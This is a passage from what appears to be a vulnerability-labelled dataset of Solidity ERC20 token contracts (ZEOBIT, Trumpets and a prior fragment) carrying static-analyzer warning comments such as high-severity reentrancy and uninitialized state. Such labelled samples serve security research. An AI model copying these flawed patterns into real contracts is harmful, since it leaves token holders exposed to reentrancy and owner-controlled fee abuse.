12e3859\n\t\t\t// reentrancy-eth | ID: 2734b37\n router.addLiquidityETH{value: amountETHLiquidity}(\n address(this),\n amountToLiquify,\n 0,\n 0,\n autoLiquidityReceiver,\n block.timestamp\n );\n\n\t\t\t// reentrancy-events | ID: ea4fdea\n emit AutoLiquify(amountETHLiquidity, amountToLiquify);\n }\n }\n\n function set_fees() internal {\n emit EditTax(\n uint8(totalFee.mul(buypercent).div(100)),\n uint8(totalFee.mul(sellpercent).div(100)),\n uint8(totalFee.mul(transferpercent).div(100))\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 2d08d32): Missing events for critical arithmetic parameters.\n\t// Recommendation for 2d08d32: Emit an event for critical parameter changes.\n function setParameters(\n uint256 _liquidityFee,\n uint256 _buybackFee,\n uint256 _marketingFee,\n uint256 _devFee,\n uint256 _burnFee,\n uint256 _feeDenominator\n ) external onlyOwner {\n\t\t// events-maths | ID: 2d08d32\n liquidityFee = _liquidityFee;\n\n\t\t// events-maths | ID: 2d08d32\n buybackFee = _buybackFee;\n\n\t\t// events-maths | ID: 2d08d32\n marketingFee = _marketingFee;\n\n\t\t// events-maths | ID: 2d08d32\n devFee = _devFee;\n\n\t\t// events-maths | ID: 2d08d32\n burnFee = _burnFee;\n\n\t\t// events-maths | ID: 2d08d32\n totalFee = _liquidityFee\n .add(_buybackFee)\n .add(_marketingFee)\n .add(_devFee)\n .add(_burnFee);\n\n\t\t// events-maths | ID: 2d08d32\n feeDenominator = _feeDenominator;\n\n require(totalFee < feeDenominator / 2, \"Fees can not be more than 50%\");\n\n set_fees();\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: e58c8d7): token1488.setWallets(address,address,address,address,address)._autoLiquidityReceiver lacks a zerocheck on \t autoLiquidityReceiver = _autoLiquidityReceiver\n\t// Recommendation for e58c8d7: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: ac02239): token1488.setWallets(address,address,address,address,address)._marketingFeeReceiver lacks a zerocheck on \t marketingFeeReceiver = _marketingFeeReceiver\n\t// Recommendation for ac02239: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: c043db8): token1488.setWallets(address,address,address,address,address)._devFeeReceiver lacks a zerocheck on \t devFeeReceiver = _devFeeReceiver\n\t// Recommendation for c043db8: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 2c748fa): token1488.setWallets(address,address,address,address,address)._burnFeeReceiver lacks a zerocheck on \t burnFeeReceiver = _burnFeeReceiver\n\t// Recommendation for 2c748fa: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: eb10b72): token1488.setWallets(address,address,address,address,address)._buybackFeeReceiver lacks a zerocheck on \t buybackFeeReceiver = _buybackFeeReceiver\n\t// Recommendation for eb10b72: Check that the address is not zero.\n function setWallets(\n address _autoLiquidityReceiver,\n address _marketingFeeReceiver,\n address _devFeeReceiver,\n address _burnFeeReceiver,\n address _buybackFeeReceiver\n ) external onlyOwner {\n\t\t// missing-zero-check | ID: e58c8d7\n autoLiquidityReceiver = _autoLiquidityReceiver;\n\n\t\t// missing-zero-check | ID: ac02239\n marketingFeeReceiver = _marketingFeeReceiver;\n\n\t\t// missing-zero-check | ID: c043db8\n devFeeReceiver = _devFeeReceiver;\n\n\t\t// missing-zero-check | ID: 2c748fa\n burnFeeReceiver = _burnFeeReceiver;\n\n\t\t// missing-zero-check | ID: eb10b72\n buybackFeeReceiver = _buybackFeeReceiver;\n\n emit set_Receivers(\n marketingFeeReceiver,\n buybackFeeReceiver,\n burnFeeReceiver,\n devFeeReceiver\n );\n }\n\n function setSwapBackSettings(\n bool _enabled,\n uint256 _amount\n ) external onlyOwner {\n swapEnabled = _enabled;\n\n swapThreshold = _amount;\n\n emit set_SwapBack(swapThreshold, swapEnabled);\n }\n\n function checkRatio(\n uint256 ratio,\n uint256 accuracy\n ) public view returns (bool) {\n return showBacking(accuracy) > ratio;\n }\n\n function showBacking(uint256 accuracy) public view returns (uint256) {\n return accuracy.mul(balanceOf(pair).mul(2)).div(showSupply());\n }\n\n function showSupply() public view returns (uint256) {\n return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));\n }\n}\n", "file_name": "solidity_code_10337.sol", "size_bytes": 28015, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract ZEOBIT is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9ddaa2e): ZEOBIT._taxWallet should be immutable \n\t// Recommendation for 9ddaa2e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: f73fdc5): ZEOBIT._initialBuyTax should be constant \n\t// Recommendation for f73fdc5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: f3e9142): ZEOBIT._initialSellTax should be constant \n\t// Recommendation for f3e9142: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n uint256 private _finalBuyTax = 5;\n\n uint256 private _finalSellTax = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5f2a305): ZEOBIT._reduceBuyTaxAt should be constant \n\t// Recommendation for 5f2a305: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4be20fb): ZEOBIT._reduceSellTaxAt should be constant \n\t// Recommendation for 4be20fb: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: ee780b9): ZEOBIT._preventSwapBefore should be constant \n\t// Recommendation for ee780b9: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 30;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Zeobit\";\n\n string private constant _symbol = unicode\"ZEBIT\";\n\n uint256 public _maxTxAmount = 2000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: bb049a8): ZEOBIT._taxSwapThreshold should be constant \n\t// Recommendation for bb049a8: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4798512): ZEOBIT._maxTaxSwap should be constant \n\t// Recommendation for 4798512: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 2000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(\n address(0x56Ab542E9702b814dAdc6F0e9451C42DAA04556f)\n );\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[_msgSender()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 415ad82): ZEOBIT.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 415ad82: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5e3bb5e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5e3bb5e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 99aaa21): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 99aaa21: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 5e3bb5e\n\t\t// reentrancy-benign | ID: 99aaa21\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 5e3bb5e\n\t\t// reentrancy-benign | ID: 99aaa21\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e988d70): ZEOBIT._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for e988d70: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 99aaa21\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 5e3bb5e\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: dc389c6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for dc389c6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 098c443): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 098c443: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 2, \"Only 2 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: dc389c6\n\t\t\t\t// reentrancy-eth | ID: 098c443\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: dc389c6\n\t\t\t\t\t// reentrancy-eth | ID: 098c443\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 098c443\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 098c443\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 098c443\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: dc389c6\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 098c443\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 098c443\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: dc389c6\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: dc389c6\n\t\t// reentrancy-events | ID: 5e3bb5e\n\t\t// reentrancy-benign | ID: 99aaa21\n\t\t// reentrancy-eth | ID: 098c443\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: dc389c6\n\t\t// reentrancy-events | ID: 5e3bb5e\n\t\t// reentrancy-eth | ID: 098c443\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 17693f5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 17693f5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9f51d06): ZEOBIT.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 9f51d06: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: aaa7f08): ZEOBIT.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for aaa7f08: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: dab0df9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for dab0df9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 17693f5\n\t\t// reentrancy-eth | ID: dab0df9\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 17693f5\n\t\t// unused-return | ID: 9f51d06\n\t\t// reentrancy-eth | ID: dab0df9\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 17693f5\n\t\t// unused-return | ID: aaa7f08\n\t\t// reentrancy-eth | ID: dab0df9\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 17693f5\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: dab0df9\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee >= _finalBuyTax && _newFee >= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n", "file_name": "solidity_code_10338.sol", "size_bytes": 18767, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Trumpets is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 0ba810b): Trumpets.bots is never initialized. It is used in Trumpets._transfer(address,address,uint256)\n\t// Recommendation for 0ba810b: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1a007d2): Trumpets._taxWallet should be immutable \n\t// Recommendation for 1a007d2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 101699d): Trumpets._initialBuyTax should be constant \n\t// Recommendation for 101699d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6f31db9): Trumpets._initialSellTax should be constant \n\t// Recommendation for 6f31db9: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: ab0e346): Trumpets._reduceBuyTaxAt should be constant \n\t// Recommendation for ab0e346: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0e55aa0): Trumpets._reduceSellTaxAt should be constant \n\t// Recommendation for 0e55aa0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4910834): Trumpets._preventSwapBefore should be constant \n\t// Recommendation for 4910834: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 22;\n\n uint256 private _transferTax = 50;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Pets Lives Matter\";\n\n string private constant _symbol = unicode\"TRUMPETS\";\n\n uint256 public _maxTxAmount = 2000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: d007062): Trumpets._taxSwapThreshold should be constant \n\t// Recommendation for d007062: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9bd367b): Trumpets._maxTaxSwap should be constant \n\t// Recommendation for 9bd367b: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1600000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bb8c902): Trumpets.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for bb8c902: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 24d41a8): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 24d41a8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7182b78): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7182b78: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 24d41a8\n\t\t// reentrancy-benign | ID: 7182b78\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 24d41a8\n\t\t// reentrancy-benign | ID: 7182b78\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 23ac244): Trumpets._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 23ac244: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 7182b78\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 24d41a8\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c92aba4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c92aba4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 0ba810b): Trumpets.bots is never initialized. It is used in Trumpets._transfer(address,address,uint256)\n\t// Recommendation for 0ba810b: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to 